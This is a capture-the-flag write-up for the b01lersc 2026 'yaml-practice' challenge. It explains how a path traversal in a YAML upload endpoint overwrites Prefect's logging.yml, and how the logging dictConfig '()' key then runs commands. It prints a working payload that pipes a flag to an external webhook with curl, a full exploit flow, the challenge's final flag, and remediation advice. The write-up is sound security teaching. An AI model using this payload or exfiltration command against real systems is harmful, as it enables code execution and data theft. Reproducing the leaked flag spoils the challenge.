yaml-practice
b01lersc 2026
Task: a Starlette YAML validator backed by Prefect accepted uploaded .yml files and only checked the filename suffix. Solution: use path traversal to overwrite Prefect's packaged logging.yml, then trigger dictConfig-based command execution during /validate and exfiltrate the flag.
$ ls tags/ techniques/
yaml-practice — b01lersc 2026
Overview
yaml-practice is a small Starlette application that uploads YAML files and validates them through a Prefect flow. The bug is not in YAML parsing itself, but in how the upload endpoint handles filenames: it only checks that the suffix is .yml, then writes the file to UPLOAD_DIR / safe_name without normalizing traversal sequences.
That gives an arbitrary file overwrite primitive. The winning target is Prefect's packaged logging configuration at ../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml. After replacing that file with a malicious logging config, a call to /validate causes Prefect to load it with yaml.safe_load(...) and pass it into logging.config.dictConfig(...), which can instantiate attacker-controlled callables.
An earlier knowledge-base writeup, Resourcehub Core, suggested looking for arbitrary file overwrite through upload handling, but this challenge is a different exploit chain: Python + Prefect + logging configuration abuse rather than Node/route overwrite.
Source Analysis
The important application logic is short:
def check_filename(filename: str) -> str: if Path(filename).suffix.lower() != ALLOWED_EXTENSION: raise ValueError("Only .yml files are allowed.") return filename async def upload_yaml(request: Request) -> JSONResponse: ... safe_name = check_filename(filename) ... file_path = UPLOAD_DIR / safe_name file_path.write_text(decoded_contents) async def validate_yaml(request: Request) -> JSONResponse: ... result = validate_yaml_flow(file_path)
The critical detail is that check_filename() validates only the suffix:
Path(filename).suffix.lower() == ".yml"- no
resolve() - no
..rejection - no basename enforcement on upload
So a filename like:
../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml
passes validation because its suffix is still .yml, and the server writes outside uploads/.
The /validate route later calls validate_yaml_flow(file_path). That enters Prefect internals, and Prefect loads its logging configuration from prefect/logging/logging.yml. That file is parsed with yaml.safe_load and then fed to logging.config.dictConfig.
Vulnerability
This is an exploit chain built from two behaviors:
-
Arbitrary file overwrite via upload traversal
The upload code accepts traversal in the submitted filename and writes toUPLOAD_DIR / safe_namedirectly. -
Code execution via malicious logging configuration
Python logging'sdictConfigsupports the special"()"key, which resolves and instantiates a callable. If we can replace Prefect'slogging.yml, we can make logging initialization executesubprocess.run.
The essential payload was:
{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}
and it was uploaded under the traversal filename:
../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml
Exploitation
1. Overwrite Prefect's packaged logging.yml
We uploaded the malicious YAML above using the traversal filename. The endpoint accepted it because the suffix check still saw .yml.
2. Upload any ordinary YAML file
Next, we uploaded a benign file such as u.yml with content a: 1. This is the file referenced by the later validation request.
3. Trigger Prefect through /validate
We sent:
POST /validate Content-Type: application/json {"filename":"u.yml"}
During flow startup/logging initialization, Prefect loaded the overwritten logging.yml, deserialized it, and executed logging.config.dictConfig(...). That caused the "()": subprocess.run entry to run our shell command.
4. Exfiltrate the flag out-of-band
The command used:
/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>
Even if /validate hung or returned HTTP 500, the payload had already executed. Local testing first returned the fake development flag bctf{fake_flag}; the live instance returned the real flag.
A minimal exploit flow is therefore:
traversal = "../.venv/lib/python3.14/site-packages/prefect/logging/logging.yml" payload = '{version: 1, formatters: {x: {"()": subprocess.run, args: [sh, -c, "/readflag give me the flag|curl -s -d @- https://webhook.site/<TOKEN>"]}}}' upload(traversal, payload) upload("u.yml", "a: 1") post_validate({"filename": "u.yml"})
Final Flag
bctf{why_does_prefect_have_packaged_yaml}
Remediation
- Reject traversal by storing uploads under
Path(filename).nameor a server-generated filename. - Normalize and verify resolved paths stay inside the upload directory before writing.
- Never let user-controlled files overwrite package files or runtime configuration.
- Avoid dangerous
dictConfigfeatures for untrusted configuration, especially"()"callables. - Run the app in an isolated environment with read-only dependencies where possible.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md